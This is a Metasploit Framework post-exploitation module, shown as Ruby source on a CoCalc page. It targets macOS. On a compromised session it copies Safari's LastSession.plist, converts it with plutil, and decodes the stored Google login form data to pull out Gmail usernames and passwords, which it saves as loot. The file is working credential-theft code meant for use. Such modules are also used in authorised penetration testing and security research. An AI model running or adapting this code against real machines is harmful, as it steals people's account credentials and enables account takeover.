Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/safari_lastsession.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'OSX Gather Safari LastSession.plist',
16
'Description' => %q{
17
This module downloads the LastSession.plist file from the target machine.
18
LastSession.plist is used by Safari to track active websites in the current session,
19
and sometimes contains sensitive information such as usernames and passwords.
20
21
This module will first download the original LastSession.plist, and then attempt
22
to find the credential for Gmail. The Gmail's last session state may contain the
23
user's credential if his/her first login attempt failed (likely due to a typo),
24
and then the page got refreshed or another login attempt was made. This also means
25
the stolen credential might contain typos.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [ 'sinn3r'],
29
'Platform' => [ 'osx' ],
30
'SessionTypes' => [ 'meterpreter', 'shell' ],
31
'References' => [
32
['URL', 'http://www.securelist.com/en/blog/8168/Loophole_in_Safari']
33
],
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'SideEffects' => [],
37
'Reliability' => []
38
}
39
)
40
)
41
end
42
43
#
44
# Returns the Safari version based on version.plist
45
# @return [String] The Safari version. If not found, returns ''
46
#
47
def get_safari_version
48
vprint_status("#{peer} - Checking Safari version.")
49
version = ''
50
51
f = read_file('/Applications/Safari.app/Contents/version.plist')
52
xml = begin
53
REXML::Document.new(f)
54
rescue StandardError
55
nil
56
end
57
return version if xml.nil?
58
59
xml.elements['plist/dict'].each_element do |e|
60
if e.text == 'CFBundleShortVersionString'
61
version = e.next_element.text
62
break
63
end
64
end
65
66
version
67
end
68
69
#
70
# Converts LastSession.plist to xml, and then read it
71
# @param filename [String] The path to LastSession.plist
72
# @return [String] Returns the XML version of LastSession.plist
73
#
74
def plutil(filename)
75
cmd_exec("plutil -convert xml1 #{filename}")
76
read_file(filename)
77
end
78
79
#
80
# Returns the XML version of LastSession.plist (text file)
81
# Just a wrapper for plutil
82
#
83
def get_lastsession
84
print_status("#{peer} - Looking for LastSession.plist")
85
plutil("#{expand_path('~')}/Library/Safari/LastSession.plist")
86
end
87
88
#
89
# Returns the <array> element that contains session data
90
# @param lastsession [String] XML data
91
# @return [REXML::Element] The Array element for the session data
92
#
93
def get_sessions(lastsession)
94
session_dict = nil
95
96
xml = begin
97
REXML::Document.new(lastsession)
98
rescue StandardError
99
nil
100
end
101
return nil if xml.nil?
102
103
xml.elements['plist'].each_element do |e|
104
found = false
105
e.elements.each do |e2|
106
next unless e2.text == 'SessionWindows'
107
108
session_dict = e.elements['array']
109
found = true
110
break
111
end
112
113
break if found
114
end
115
116
session_dict
117
end
118
119
#
120
# Returns the <dict> session element
121
# @param xml [REXML::Element] The array element for the session data
122
# @param domain [Regexp] The domain to search for
123
# @return [REXML::Element] The <dict> element for the session data
124
#
125
def get_session_element(xml, domain_regx)
126
dict = nil
127
128
found = false
129
xml.each_element do |e|
130
e.elements['array/dict'].each_element do |e2|
131
next unless e2.text =~ domain_regx
132
133
dict = e
134
found = true
135
break
136
end
137
138
break if found
139
end
140
141
dict
142
end
143
144
#
145
# Extracts Gmail username/password
146
# @param xml [REXML::Element] The array element for the session data
147
# @return [Array] [0] is the domain, [1] is the user, [2] is the pass
148
#
149
def find_gmail_cred(xml)
150
vprint_status("#{peer} - Looking for username/password for Gmail.")
151
gmail_dict = get_session_element(xml, /(mail|accounts)\.google\.com/)
152
return '' if gmail_dict.nil?
153
154
raw_data = gmail_dict.elements['array/dict/data'].text
155
decoded_data = Rex::Text.decode_base64(raw_data)
156
cred = decoded_data.scan(/Email=(.+)&Passwd=(.+)&signIn/).flatten
157
user, pass = cred.map { |data| Rex::Text.uri_decode(data) }
158
159
return '' if user.blank? || pass.blank?
160
161
['mail.google.com', user, pass]
162
end
163
164
#
165
# Runs the module
166
#
167
def run
168
cred_tbl = Rex::Text::Table.new({
169
'Header' => 'Credentials',
170
'Indent' => 1,
171
'Columns' => ['Domain', 'Username', 'Password']
172
})
173
174
#
175
# Downloads LastSession.plist in XML format
176
#
177
lastsession = get_lastsession
178
if lastsession.blank?
179
print_error("#{peer} - LastSession.plist not found")
180
return
181
end
182
183
p = store_loot('osx.lastsession.plist', 'text/plain', session, lastsession, 'LastSession.plist.xml')
184
print_good("#{peer} - LastSession.plist stored in: #{p}")
185
186
#
187
# If this is an unpatched version, we try to extract creds
188
#
189
=begin
190
version = get_safari_version
191
if version.blank?
192
print_warning("Unable to determine Safari version, will try to extract creds anyway")
193
elsif version >= "6.1"
194
print_status("#{peer} - This machine no longer stores session data in plain text")
195
return
196
else
197
vprint_status("#{peer} - Safari version: #{version}")
198
end
199
=end
200
201
#
202
# Attempts to convert the XML file to an actual XML object, with the <array> element
203
# holding our session data
204
#
205
lastsession_xml = get_sessions(lastsession)
206
unless lastsession_xml
207
print_error('Cannot read XML file, or unable to find any session data')
208
return
209
end
210
211
#
212
# Look for credential in the session data.
213
# I don't know who else stores their user/pass in the session data, but I accept pull requests.
214
# Already looked at hotmail, yahoo, and twitter
215
#
216
gmail_cred = find_gmail_cred(lastsession_xml)
217
cred_tbl << gmail_cred unless gmail_cred.blank?
218
219
unless cred_tbl.rows.empty?
220
p = store_loot('osx.lastsession.creds', 'text/plain', session, cred_tbl.to_csv, 'LastSession_creds.txt')
221
print_good("#{peer} - Found credential saved in: #{p}")
222
print_line
223
print_line(cred_tbl.to_s)
224
end
225
end
226
end
227
228